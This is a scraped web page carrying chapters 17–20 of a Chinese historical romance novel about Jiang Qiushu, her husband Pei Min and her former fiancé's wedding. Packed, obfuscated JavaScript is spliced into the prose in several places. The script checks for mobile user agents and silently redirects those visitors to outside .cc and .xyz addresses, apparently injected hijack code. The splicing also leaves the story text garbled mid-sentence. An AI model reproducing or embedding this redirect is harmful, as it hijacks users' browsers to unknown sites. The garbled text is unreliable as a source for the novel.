RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369065|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上双眸,下一瞬腰侧被搂住,撞入僵硬的胸膛中,撞的生疼,她连忙捂住了额头。 泪眼朦胧,水眸盈盈,额前轻微的红意,印在娇媚的脸上,瞧起来更加好欺负了些。 裴珉垂眸,视线落在她的脸上,盈腻满怀,娇柔不敌强硬,纤细的腰肢只用一手便可掌握。 他收回手,可触感始终并未消散。 这般近的距离,她身上清淡的花香流连,裴珉拉开了些距离,眸光从她身上移开。 “多谢五郎。”姜秋姝没想到他这般快的接住她,不过也太重太硬了些。 她腰侧被他手箍住,即便很快可力气却很大,额头疼意未散,他不是文臣吗?怎身躯堪比武将? 市井间抗麻袋的汉子,肌肉蟠扎,她虽未瞧过裴珉赤身的模样,可方才紧靠在他怀中,却觉得大差不差。 她连忙后退了步,裴珉瞧着她隐约避讳的步态,眸光一闪。 “小心些。”说完后,裴珉便离开了,同几位郎君一块儿招待起客人来。 他步履从容,等入座后,鼻尖的芳香和满怀的娇柔萦绕,始终缠绕,躲不开,他抿了抿唇,饮了口清酒才好些。 姜秋姝视线看向被撞击胳膊一侧,还是个熟人。 李九娘愤恨的看了眼姜秋姝。 好个会使手段的小娘子,身段魅惑,容貌也是娇艳动人,也就是靠这些才引诱了裴太傅吧! 本以为会摔倒,竟然被裴太傅接住了,不正经的女子手段也勾人,就那么靠在人怀中,一张脸却如同沾了露水的花,惹人怜惜。 裴太傅一手便可搂住她的腰肢,看着瘦,可肉都长到了该长的地方,小娘子低眸望了望身前,更气了! “你与这李九娘可是有恩怨?”四夫人也是个闲人,在一侧看的真切,连忙凑了过来。 姜秋姝摇头,极为困惑的模样,“应当不是有意的吧?” 四夫人恨铁不成钢的看着她,“听闻二嫂可是曾为九娘与五弟牵过线。” 姜秋姝嗯了声,岔开话题闲谈起来,“四嫂可有好好教导三娘和四娘?” 四夫人一下子没了看热闹的心,太夫人敲打过来,她又不是傻的,以往不过是懒得管,如今再不管,怕又得被姜秋姝寻了错,告到太夫人面前。 她对几位女儿,确实并未上多少心,尤其是五娘,当初怀着的时候看了好多大夫都说是男孩儿,且与她怀头两个反应不一样,她怀了极大的期望,结果仍旧是女孩。 这个让她最期待的孩子,也让她最为落空,平日里也不想叫她在眼前晃着。 “已经好生教训过了。”四夫人道。 姜秋姝听此,便没在过问。 若是做人阿娘都不放在心上,旁人再担忧都是无用。 夜间,风在吹,这个天气正是凉爽的,一天的繁忙总算是落幕,锦绣和关嬷嬷在前面提着灯笼。 新嫁娘已经送到了新房,除开至亲,客人已经全部送走,她静静的看着赵士远满脸通红,喜气迎面。 众人恭维的假偶天成,不过是男女偷情阴暗处的秽物。 面上所见,真是太假! 她本不想多留,也该回府了。 刚过了九曲桥,醉醺醺的男子行动间东倒西歪,姜秋姝只觉得晦气,想要离开,偏生那人叫住了她。 “小满。” 17. 第 17 章 “小满。” 多久未曾听见旁人这般唤她了?她出生在小满,夏日的第二个节气,是阿娘取的乳名。 姜秋姝看着眼前这个既熟悉又陌生的人,自阿娘离世,那个说要护着她兄长般的郎君也变得面目可憎。 “别这般唤我。”姜秋姝眼底恨意,丝毫没有掩饰。 “你将我害的那般惨,可我还是”。赵士远看着她,原本饮了酒变红的眼眸,颜色更加深了。 他恨过也埋怨过,可心里头还是念念不忘。 “闭嘴!”姜秋姝打断了他未尽的话,不想叫那些脏污辱了她的耳朵,“根本是你咎由自取,薄情寡义不知廉耻之人,难道不该受到惩处吗?老天不罚那我来!想要往上爬,也得瞧瞧自己的本事。为官者该是清正高洁,为百姓请命,你那点儿配!” 姜秋姝面露凶光,往后退了数步,与他再靠近一点儿,都叫他难以接受。 赵士远不怒,反倒是低声笑了起来,无论是爱还是恨,他终究是留在她的心中。只不过方才瞧见她的身影,还是叫他难以控制的想要靠近。 “你我间的感情,难道你都忘记了吗?你阿娘死后,我们便相依为命,即便你毁了我的官途,我也未曾怪过你。”他神情款款道。 可他也是没办法,在这偌大的洛阳,想要出头,凭他低微的家世,不过是如万千学子般,临到头了,也就是个县令。 姜秋姝更是对他没有丝毫的助力,初入官场靠的都是家世,他这样的人,只能被世家子踩在脚底下。 想要往上爬,从来都没有错! 赵士远眸光落到姜秋姝娇媚的容颜上,他总得舍弃些什么。 他想过娶了裴秋月,日后也将她迎进门,不舍得让她为妾,等他高官厚禄给她请个诰命,做上平妻的位置。 可谁晓得她能这般的刚烈。 她毁了他,他也只能牢牢的抓住裴秋月这跟绳子。 “你说,我将今日是告知裴秋月如何?”姜秋姝声音淡淡,眼神讥讽的将他上下打量,“新婚夜,不守着新嫁娘,堵着我?” “你若不怕,我自然亦不怕,”赵士远十拿九稳,“小满,若是裴太傅晓得你我二人私会,又会对你做何?” 姜秋姝丝毫没有被胁迫的惧意,裴珉能如何?他从未将她放在心上,只要她做好国公府五夫人,不会在乎她心中是谁,与旁的男子有什么。 “不如何?”姜秋姝难道与他掰扯,转身便要离去。 “小满,我只想与你化干戈为玉帛,我晓得你入了国公府过的也不易,日后我会帮你,不要叫你形单影只,受委屈的。”赵士远想与她说说话,如今他成了婚,拜堂时,他有过恍惚,甚至将对面之人想作了她。 姜秋姝脚步未停顿,只觉得他说话聒噪。 院中树丛中,忽然出现个人影,姜秋姝提着灯笼吓了跳,等看清人影,她微微福了福身。 也不晓得他藏在此处听了多久? 裴珉冰冷的看了赵士远眼,“醉的连新房在何处都不知晓了!” 赵士远背脊发寒,连忙朝裴珉行礼,“侄婿这便离开。” “站住,”裴珉声音冷冽,“还未曾向叔母见礼!既然入了国公府,也该守礼,莫如混迹市井般的没规矩。” 裴珉说话还能这般动听,姜秋姝作为旁观者,不再是被他惩处的失礼之人,此刻心情爽利的很。 身为男子用‘入了国公府’如同嫁人的说词,实在又羞又恼,可赵士远得罪不起裴珉。 “见过叔母。”赵士远朝着姜秋姝拱了拱手,连忙就要离开,裴珉又喊住了他。 “第一次见礼本该行大礼改口,不过今日情况特殊,便行了简礼,等回门认亲之时,将大礼补上。”裴珉走到姜秋姝身侧,替她提起灯笼,连视线都未曾给过赵士远眼。 “是。”赵士远连忙答道。 两人并立而行,往府外的方向去,赵士远抓住栏杆,双眸猩红,盯着两人背影,久久不曾挪开。 “郎君。”身侧的小厮小心上前将人扶起,提醒道,“莫要耽搁吉时。” 赵士远醉的厉害,也因这场醉,心底所思几乎无法藏匿,经过方才那幕,才清醒,不该因小失大的。 他连忙命令小厮搀着自己往新房去。 走到门口,他的酒清醒了大半,可发现房门紧闭,小厮立马上前敲了敲。 门被打开后,赵士远刚要进去,却婢女被拦住了,“二娘说郎君您要进去,必须为她作诗十首。” 赵士远今日累的只想休憩,哪里还有什么作诗的心,不耐一闪而过,央求里面道:“好娘子,快让我进去,春宵一刻值千金。” 裴秋月捂住脸,羞怯的很,可依旧未松口。她的赵郎学富五车,如今正是得意之时,若是留下他们恩爱的诗句,说不定能够流传千古,名动洛阳。 赵士远拖着疲惫的身体,写了好些个诗,才叫裴秋月满意。 他洗漱完毕后,坐在裴秋月身侧,按新婚的章程将她抱在怀中,想要行周公之礼,可胸前一根儿手指将他给隔开了。 “你发誓将来只待我一人好,绝不负我。”裴秋月仰着头,势要得到他的承诺。 赵士远已经快忍受不住,还是深情款款将她拥入怀中,说着甜言蜜语。 裴秋月心满意足的闭上眼,与他共赴鸳鸯梦。 只不过一刻钟后,她面露疑惑,男子都这般短吗?身侧的赵士远黑了脸,又将裴秋月压在身下。 裴秋月红润的脸上自得,她便说嘛,是她误会了。 过了会儿,裴秋月咬住了唇,只有半刻钟? *** 上了马车,姜秋姝坐到了裴珉身侧,衣袖叠在一起,隔壁足有一臂距离,裴珉合目沉思,嘴角轻抿,依靠在车厢上。 她偏过头去,他的双手交握在腹部,十指紧扣手腕青筋迸发,指骨交叠处泛着白。 “妾身与赵郎君是不小心遇见的,并非特意在那处等着。”姜秋姝心头有些烦闷,不晓得他为何那般介怀。 裴珉自是晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385206|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得,她非那般蠢顿之人,敢明目张胆与男子私会,可那声‘小满’才是最叫他心头不适的。 像是被什么梗住,上下起伏,他不想轻易开口,说出什么不合时宜的话。 她注视着裴珉的动作,瞧见他双手动作松了些又道:“方才多谢五郎替妾身解围。” 赵士远朝她行礼,叫她叔母,叫她畅快极了。 “我与赵郎君早就没有任何干系,五郎可莫要误会了。”想到裴珉今日的警告,她又补充道。 裴珉睁开眼,两人对视间,姜秋姝忍不住挪远了些,似山般倾泻而来,深藏的情绪叫人看不清,很快只一瞬就收敛得当,可还是将她吓了跳。 与她而言,裴珉都是持节温和,偶有怒意亦能克制,可方才那一下,浓厚的情绪朝她碾压,几乎叫她难以挣扎。 “不会误会。”裴珉声音依旧,整理袖口的褶皱,气度如常,恍惚只她的错觉。 夜间只接着马车车檐悬挂着两盏灯笼照明,他眼中的漆黑应当也只是夜的颜色。 姜秋姝忽视心头的震撼,裴珉没在看向她,深藏在袖口的掌心捏成了团。 即便晓得她所言不假,可心头的异样难以压抑,他承认不喜瞧见她与旁的男子站在一处,早在婚依行拜堂之礼时,他便觉得不适。 可这太不合规矩。 裴珉放缓呼吸,藏在袖口下的手紧握,疼痛叫他清醒些。 “娘子如今对赵士远是何心思。”他看着她,目光深深。 姜秋姝不晓得为何一个赵士远竟然叫他这般的执着?但还是老实的回复,“背叛妾身之人,绝不宽宥。” 绝不宽宥,很好! 裴珉舒怀了些,他松开手,“娘子有这般觉悟极好,背叛者本就不值得原谅,心慈手软只会换来变本加厉。” 姜秋姝倒是很认同裴珉的话,若是再有人背叛了她,她绝不会有半点儿的怜善,该滚出她的视野! 赵士远租赁的院子,离国公府不算近,入了夜街市依旧繁华,叫卖声不绝于耳,车窗留了个缝,能够瞧见外边儿的场景。 她许久未见过了,自从嫁入高门大院,好似比不过以往在市井的自在。 即便大周对女子并不严苛,骑马游街的小娘子并不少见,只是她一无时间,需得学些世家规矩,二也不想太过显眼,叫府中人揪出错处来。 马车突然颠簸了下,她身子朝裴珉的那侧滚去,就在即将靠在裴珉身上时,她连忙抓住车窗框架艰难的稳住身形,等马车平稳后,她松了口气。 裴珉余光落在她庆幸的脸上,她手指抠着框架,脚撑在小桌角,都不想靠近他只想远离,心头的那股子火气,莫名又上来了。 她好似时刻都能挑动他的情绪,自他回来后,她像是变了副面孔,以往皆是想尽办法往他身侧靠拢。 要么叫他教她泡茶,要么叫他教练字,或是做了羹汤亲自送到他面前,如今他回来许久,她只来见过他一回,还是为了种植花草一事。 其余再无主动。 18. 第 18 章 裴珉抓住姜秋姝的手腕,很出其不意的一下,姜秋姝有些诧异。 他应当是要安抚她吧?毕竟方才马车颠簸,是挺吓人的。 掌心灼热的烫,叫她忍不住不着痕迹的收回了手,行动间抗拒,却不想叫人看出来,笑谈道:“五郎,马车已经稳了。” 今日当众便误会她对赵士远旧情难忘,好似在他眼中,她是荤素不忌,什么脏的臭的都要去沾染。 或者在他心中,她便是个水性杨花之辈。 原是早就过去了,她也没将事情放在心中,可偏又问起她对赵士远的心思? 姜秋姝只觉得可笑的很。 此刻,再叫她与裴珉有过多的碰触,心中到底是不畅快的, 况且,裴珉本就是除了床榻间,不与她有过什么亲近的,方才主动去握她的手腕,即便是为了安抚她,也够另人诧异了。 他一向觉得觉得夫妻间应当端庄庄重些,两人虽然行了夫妻之礼,可对于彼此间肢体碰触极为陌生。 其余夫妻间是如何相处的,她了解的不多,都是从阿娘与阿耶身上了解到的。 阿耶会在夏季,坐在床榻替阿娘扇风,驱赶蚊蝇,会在人群中利用衣袖与阿娘十指交握,亦会在阿娘累了将阿娘背回家。 阿娘每日皆是满面红光的模样,看向阿耶情意绵绵,衣食住行统统为阿耶打理妥当。 他们会在日落时,坐在花丛中,阿耶会摘下最美的花,别在阿娘的发髻上,笑着看她在花丛中寻着蜜蜂,捉着蝴蝶。 女子对未来总会有些畅想,情投意合的夫婿,恩爱白头的婚事,她亦然。想着嫁进来,便该主动些,行事虽不至于不拘,可到底有太多不懂的东西,时常惹得府中人的笑话。 裴珉是个好的,从未嫌弃过她的粗鄙,她不认识的,他便教,即便犯了错,再严厉也不过是罚她抄写。 她应当是对着他那微末的温柔动过心,也想如同阿娘阿耶般琴瑟相和,可她的夫婿好似不晓得‘情’字如何写,规矩大于天,她下厨亲自给他做吃食,他会觉得她抢了厨娘的活,辱没了五夫人的身份。 她缠着他教习写字,实则想要与他多相处,他则是认为她教过便忘了,请了女先生来教。 便是在品茶的时候,开头因其风度极力忍着,后面才露了馅儿,嫌弃毫不掩饰。 她绣工不行,却也耐心的跟着关嬷嬷学过,将绣的最好看的荷包送给了他,从未见他戴过。 她的女儿家的小心思,被他磨得消息殆尽。 阿娘其实说错了,成了婚,不会多个疼她之人,怕只要有了血脉至亲,她才有了家。 可这都过了许久了,还未怀上子嗣,是她的问题,还是裴珉? 姜秋姝抬头,正好错过裴珉的眸光,或许是该请个大夫瞧上瞧了。 裴珉眸光向下,瞧见她双手平放在腹部,极为规矩的坐姿,比起初嫁进国公府已经具备世家夫人的韵气。 本是该叫他满意的,可他的掌心空落落的。 马车停在了国公府的府外,两人进入府,姜秋姝始终落后裴珉半步距离,两人谁也未曾开口,直到进了玉珩院门口。 今日非逢五,两人即将分道扬镳时,姜秋姝率先从右侧走,走了会儿发现裴珉跟在她的身后。 这个方向是往她屋子去的,她转身诧异道:“五郎有事儿?” 一直跟在姜秋姝身侧的关嬷嬷却是急了,娘子这问话,怎么像是要赶人的意思,五郎好不容易,在除开逢五的日子要往娘子房间去,娘子怎么不开窍呢! 周围气氛一下子冷了,裴珉未曾开口,只望着她,她面露疑惑。 “娘子房里有宫里赏下的蒙顶石花,这还是五郎得了好茶便送给娘子,五郎可品品娘子的手艺。”关嬷嬷连忙道。 裴珉点头。 姜秋姝却觉得棘手,她得到茶艺即便是学过了的,可也不敢在裴珉面前班门弄斧啊! 而且,这大晚上喝茶,与睡眠有碍。 可瞧着裴珉盎然,她也没阻止,她的手艺他怕是尝过后,也不会在饮。 两人一同回了房间,姜秋姝连忙叫人准备茶叶。 她首先净了净手,又叫人准备熏香,焚香煮茶向来是裴珉的最爱,可她这个粗人做起来只面上瞧着尚可。 泡茶可是门功夫,首先这水也是有讲究的,雪水清甜,无根之水干净,露水更是有着花草树木的清香。 这大半夜的,她更是做不来附庸风雅之事,也无法寻来这些物什,索性命人打了井水来泡,刚刚打开茶罐,放了茶叶,身后一道雄浑的气息将她笼罩住。 耳侧是他起伏的呼吸,她身躯僵硬了瞬,可接着手被人抓住,“这茶味清淡,通常需要十三四片茶叶,你放的太少了。” 说着又夹了几片茶叶放入杯中。 “妾身是怕五郎喝多了茶,睡不好。”姜秋姝解释着,身躯往里移了移,想要空出裴珉的位置。 他今日是怎么了? 裴珉不动声色的看着,松开了怀中人,坐到了她对面。 她果然是在躲他,浑身上下都似乎在抗拒着他的靠近。以前教她执笔时,也未曾有今日这般的反应。 裴珉想不懂,两人间本就少亲密,他也一向不善处理此事。 裴珉想着主动接过了姜秋姝的活计,泡起茶来。 果真是受尽世家规训,洛阳人人称赞为君子的郎君,动作如行云流水,如画卷般赏心悦目,姜秋姝静静的看着,直到茶水推到她面前。 没想到第一杯茶水是给她的?姜秋姝硬着头皮端起杯子浅啜了口,希望不要影响了她的安睡! “好茶,五郎泡的茶汤色澄清,毫无杂质,入口苦却有回甘。”姜秋姝照本宣科般说着蒙顶石花的特点,裴珉听着即便晓得她说着书中的话,并没有自己的见解,也没有打断。 他给自己倒了杯,尝了口,今日这茶味道略逊色些,像是被急水所冲,加之没有功夫等待开水降温便倒上,茶叶舒展不够,污遭了茶本身味道。 可他听着身侧人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399660|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夸赞,原本不大入口的茶也多饮了几口,壶中空空便又添了些水,他给姜秋姝和自己的空杯又添了水。 姜秋姝无奈的看着茶杯,也没说出拒绝的话,只是这裴珉大晚上的,真是有闲情雅致,她个粗人品不来,只想早些入眠。 接下来的几杯,原本困倦轻散,她精神了些,心头得到烦也更加深了。尤其是在说着二道水,三道水时,茶的妙点时,脑中的东西都快空空。 她抿了口已经快无味道的茶水,“郎君,天色不早了,还是快些回去就寝,不若明日没了精神,处理公务便不济。” 裴珉辛勤的人,自然不会在处理公务时分神。 裴珉放下茶杯,深深看了眼姜秋姝,“你也早些睡。” “嗯。”这会姜秋姝的笑意真切了些,她是真不爱品茶。 关嬷嬷端了水进来,瞧见裴珉离开的背影,焦急的看向姜秋姝,“娘子您怎么不将人留下啊!这大晚上五郎来此,不正是就寝的吗?” 姜秋姝不这么以为,裴珉一向是言行一致的,他未言就必定不是那么回事儿。 关嬷嬷瞧着姜秋姝油盐不进连连叹气。 这两祖宗一个直一个憨,竟然也能凑成对儿! 夜间,姜秋姝翻来覆去许久,那几杯茶对她影响太大了,日后便是裴珉将刀架在她脖子上,她也不会陪他在这般晚的时辰喝茶。 想了会儿,姜秋姝将裴珉的不同寻常,归咎在裴秋月出嫁之事上。 他向来都是疼爱裴秋月的,侄女出嫁和女儿出嫁应当没两样,尤其是裴珉如今还没有女儿。 他们若是有了女儿,他会这般疼爱的吧!姜秋姝在临睡前摸了摸自己的肚子。 这般久了还未动静,她虽急,可却未从裴珉身上瞧见半分的急色,他是不想要子嗣吗?旁的男子将此视为一身之重,可他却从未在她面前表露出来,甚至在长辈问起,遮掩过去。 姜秋姝迷迷糊糊间想,是该寻个大夫好生瞧瞧了。 晨间,姜秋姝醒的老早,比起平日早了两刻钟,无他,今日便是裴秋月回门的日子。 姜秋姝站在镜子前,选着穿的衣服,心头的欢意几乎没有遮挡。 姜秋姝和裴珉来的时辰不早不晚,刚刚好,其实姜秋姝想要早些来的,可又怕太过引人注目,忍住了。 大礼开始,两位新人最先朝着国公和太夫人行礼,老国公笑的爽朗,给了两位一个盒子,裴秋月打开后,是一颗千年人参,乃陛下感念国公劳苦功高赐下的,可见老国公对这位嫡孙女也是疼爱至极。 太夫人虽说过不满的话,可事到如今只能忍下来,暗地里施压赵士远,让他好好对裴秋月。 “五叔,五叔母喝茶。” 裴秋月和赵士远见完前头几位长辈后,顺着排倍走到了他们面前。 两人齐齐跪在姜秋姝和裴珉面前。 堂前围观的人,不少皆晓得赵士远与姜秋姝的关系,原本的未婚妻,如今却要双膝跪地毕恭毕敬。 啧啧,可叹。 19. 第 19 章 几位夫人在一侧瞧着,眼中兴味被掩饰的很好,可视线总是若有若无的往那个方向瞧去。 尤其是四夫人,抿唇轻笑呵的一声,声音微弱可此刻正厅寂静,大多数都听见了,四郎瞪了四夫人眼,四夫人才收敛了些。 真是稀奇,也是她平身所见最好笑的事儿,原本的未婚夫妻,终于还是成了一家人,哈哈。 四夫人咬了咬嘴唇,才将笑意压下。 裴秋月咬碎了牙齿,以前虽是晓得姜秋姝嫁给五叔,便成了长辈,可从未有过今日这般的具切,她真切的感受到,姜秋姝不是以往可以被她任意取笑的孤女,她反而得跪在她面前。 就在她忍不住想要站起身来时,身侧的赵士远连忙拽住她的衣袖,阻止了她的动作。 赵士远还不晓得两人间的关系,被姜秋姝公之于众了,只当是裴秋月又耍了脾气,闹出了笑话,让长辈不喜。 今日是他在国公府,站住脚的第一日,跪在姜秋姝的脚下,确实很屈辱,可他也不能叫裴秋月毁了此次的敬茶。 “请五叔,五叔母喝茶。” 裴秋月虽是骄纵,可因赵士远还是勉强忍住了自己的脾气,忍住烦闷,“请五叔,五叔母喝茶。” 姜秋姝最厌烦世家规矩,可当今日赵士远和裴秋月双双跪地,朝她敬茶时,不得不感叹事有两面。 太舒畅了! 寻常人家只对堂上至亲敬茶,而世家则是依照古礼,对亲眷长辈行跪拜大礼。 “侄女,侄女婿不必多礼。”姜秋姝嘴唇轻抿,接过两人的茶,轻抿了口。 裴秋月瞧着她得意的模样,气的牙痒痒,可在众位长辈面前却不得不低头。 裴珉赐的礼中规中矩,一对品质上佳的玉珏。 姜秋姝命关嬷嬷捧着红漆盒,走到裴秋月面前,里面有撞着两枚小玉章,抛开玉的品质不说,雕刻的手艺倒是极好的,顶部分别刻着鸳和鸯。 “这两枚玉章便送于二位,还请二位记得新婚时许下的承诺,和合到白头。” 小玉章正对着赵士远,侧放着虽未点上印泥,雕刻的字却清晰,分别是‘信’和‘和’。 姜秋姝解释了两者的含义,并让关嬷嬷将‘信’字印章给了赵士远,‘和’字印章给了裴秋月。 裴秋月瞧不上这玉,但两个印章合在一起,刚好是一对,还算姜秋姝有自知之明,晓得她和赵士远才是一对。 赵士远握住印章,神色莫测,信,诚信,在姜秋姝眼中,他不守诚信又忘恩负义,怎配得上这个字。 分明是借了这个机会侮辱他。 赵士远捏着印章,字痕在手中挤压。 姜秋姝笑意明显了些,赵士远最配不上的便是这个字。 礼既已毕,裴秋月连忙从地上跳脱而起,迅速的跑到了太夫人身边献殷勤,因此婚事确实叫太夫人对裴秋月失望,可到底是自幼疼爱的,既然嫁了,便得为她步好后路,赵士远心思不纯,但地位低下,如今又住在府中,掀不起什么风浪。 以裴秋月的脑子,低嫁反倒比高嫁会过的顺。 姜秋姝盯着裴秋月的动作,眸眼闪过深思,这般的迅速,行动间也瞧不出任何的不适。 联想起她刚新婚,翌日起床浑身的不适,迈出的步子都得小心翼翼。 而裴秋月如往常一般无二…这赵士远莫不是连裴珉都不如? 裴珉便是没有市井传言的那般厉害,赵士远比不上裴珉,那岂不是更废? 姜秋姝正想着,被人轻碰了下胳膊,对视上裴珉的眼神,她连忙垂眸,略带几分心虚。 “入席用膳,娘子在想什么?”裴珉问道。 姜秋姝脸颊一下子红了,脑中某些念头萦绕着,这可说不得,男子听到这般话,怕伤了脸面。 “妾身在想当初与五郎成婚,五郎甚是体贴,妾身站不稳还是五郎眼疾手快扶住了妾身,不然就闹笑话了。”姜秋姝脑中转的快,迅速找好了话。 裴珉抿了下嘴唇,瞧着她俏丽的脸微微泛红,心头不仅漾起一阵涟漪。 他曾经嗤笑过男子沉迷酒色财气,他不喜酒,尝过不过尔尔,钱财他更是视为身外之物,自身富足够三代子嗣无忧,为人虽不是谦逊的性子,可也不至于逞气斗恨,而她……终叫他懂了世俗沉溺。 他转过视线,喉结上下滑动,手中酒杯紧了紧,他确实是失控了些,叫她第二日差点儿在众人面前丢人。 越是沉迷的,只会叫人失了斗志,人又岂是耽于享乐之辈。 早膳毕,众人散去,姜秋姝被太夫人留了会儿。 “如今二娘也成了婚,你嫁进府中也快两年了。”太夫人叹息起时光过的快,姜秋姝跟着附和,实则却晓得太夫人接下来不过是问子嗣的话。 “五郎到底比你年长几岁,他如今身负重职老身欣慰的很,最操心便是他何时才能有自己的孩子。” “若你再不能孕育子嗣,老身身边有几位身姿和样貌都不错的,她们最会伺候人,必定能为五郎繁衍后嗣。”太夫人声音比以往严厉了些。 姜秋姝连忙道:“子嗣传承乃是一家的重中之重,太夫人您是慈母,为了五郎着想,妾身感怀铭心。国公爷也曾担忧过五郎子嗣一事,如今府中世子未立,国公府传承尤为重要。妾身谢过太夫人。” 太夫人语塞,也想起了这么一回事儿,本是来敲打姜秋姝番,倒是忘了子嗣丰,一府传承才能稳定。 裴珉已经极为出彩,子嗣是短板,若是连孩子都有了,又多了胜算。 “罢了,”太夫人摆手,“你自己上心便是了,如今二娘与孙婿住在府中,你是长辈多顾着些。” “是。”姜秋姝起身告辞。 子嗣一事,她才是最着急之人,她本就想要自己的孩子,原想着顺其自然,可久久不曾有孕到底叫人烦闷。 想了想,便叫锦绣请了大夫来府中把平安脉。 大夫说她身体极为康健。 那问题又是出在何处?姜秋姝想起了以往听过的市井间的污遭话,‘你个银样镴枪,再肥沃的土壤都长不出苗来’。 她那时不明白,想要在听下去,阿娘连忙捂住了她的耳朵。 如今细细品味,这裴珉不会是个银样镴枪头吧! 姜秋姝试探的看向大夫,“既然我身体无碍,那何时才能有身孕呢?” 大夫捋了捋胡须,“夫人不必着急,此事水到渠成,需得天时地利人和。” 姜秋姝只好换了个意思,“大夫可否给我与郎君开些补药。”若是只提一人,未免太明显了些。 两人都要滋补药,应当不会往裴珉身上想。 大夫点头,藏住眼底的了然,立马写下了,早就熟记于心的药方。 他提醒道:“此药虽温补,但不可多饮,多睡前饮用。” 姜秋姝记下了大夫的话,连忙让锦绣将人送走,又派关嬷嬷去抓药。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407012|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >关嬷嬷一向谨慎,将此事交给她放心。 她嫁进来也快两年的时间,寻常人家怕是生下头胎的同时,腹中又怀了。 姜秋姝轻叹,天时地利无用,怕是得要人和才行,以往未曾往这方面想过,可裴珉已不算年轻,没本事叫她孕育子嗣也正常。 关嬷嬷将药买回来,她连忙叫人煎煮了,想了想又不放心,自己亲自去厨房蹲守。 若是叫旁人察觉,难免丢了裴珉的面子。 睡前饮用虽然最佳,可她与裴珉夜间极少见面。 火烧的旺,炉子咕噜咕噜作响,她拿着扇子叫关嬷嬷和锦绣在外守着。 说实话,有些事姜秋姝想不明白,没有叫人上九天的本事,便是银样镴枪头,可裴珉每每与她同房,时辰长便算了却将她弄得又酸? 而裴秋月今日行动间并无异样,与她新婚时有很大的差异,是她想错了,赵士远并非如裴珉般? 这些东西让她想的不大明白,汤药煮了会儿,她又想过将关嬷嬷叫来询问,可关嬷嬷是裴珉的人,她怕此事传到裴珉耳朵里。 姜秋姝撑着下颚,叹了口气,对于男女之事,她当真是一窍不通。 也难怪当初会以为怀了裴珉的孩子,才再次上门答应了与他成婚。 火光闪烁,将她的脸照的暖和,她眼神放空,若是阿娘尚在,定会给她讲明白的。 以往阿娘总觉得她还小,说等她成婚便晓得了男女间的事,可真的等她成了婚,阿娘却不在了。 她与裴珉新婚前,并没有人同她讲过夫妻间的事,倒只是给她了本画册,图画模糊不清晰,她隐约发现原来她与裴珉并未行过夫妻之礼。 先前当她发觉自己并没有怀孕时,她还一直以为两人是什么都做过了。 药熬好了,姜秋姝将药过滤出来,一碗是裴珉的要,一碗是她的,起初她并没有打算喝,可想着双管齐下,两人一起效果应当要好些。 她将自己的药吹了吹,等温度差不多时,一饮而尽,擦了擦嘴角的药渍。她向来是不怕苦的,毕竟比这更苦的都尝过。 另一碗被她放在食盒中,提着去了裴珉的书房。 她站在外边,等着小厮禀告,得到允许后才进去。 裴珉正整理着书卷,听见声响从书案处抬起头来,眉宇舒展,也并未掩饰意外之色,“娘子来此是有何事?” 语毕,察觉自己的话似有歧义,连忙又道:“娘子许久未曾来过了。” 此话听着有些怪,姜秋姝没想那么多,连忙答道:“郎君辛劳,命人抓了滋补的,郎君尝尝。” 她缓步走了过来,将食盒放在一侧的小案上,把药端了出来。 苦味很快蔓延过来,裴珉看着黑乎乎的东西,“这是药?” 姜秋姝点头,将汤递给他,“这是刚命人抓的,妾身亲自”想起裴珉不喜她进厨房,她换了口风,“亲自叫人熬的。” 裴珉顺从的喝下,嘴里的苦味不至于叫他变了模样,可谁喜喝药啊? 嘴角残留些液体,裴珉刚要拿出手帕擦拭,可一只手动作比他还要快,香风划过嘴唇被轻轻碰了碰,抬眸便瞧见姜秋姝艳若牡丹的脸,面红耳赤,似乎很热的模样。 姜秋姝在差距到自己下意识的动作怔楞在原地,她方才瞧见裴珉唇角的药渍,竟然很想动手擦拭干净。 他的唇颜色很浅,沾染了黝黑的药汁,叫她下意识的抿了抿自己的唇……好奇怪。 20. 第 20 章 她紧盯着他的唇畔,连自己都未曾察觉到,她的眼神逐渐迷离,裴珉身上都是硬的,只那唇瓣软软的,隔着手帕手指的触温残留,发着痒,往身体里钻。 一时间有些口渴,她头一回不怕裴珉责怪,拿起桌上的茶杯一饮而尽。 可是一杯下肚,却还是不够,依旧觉得渴。 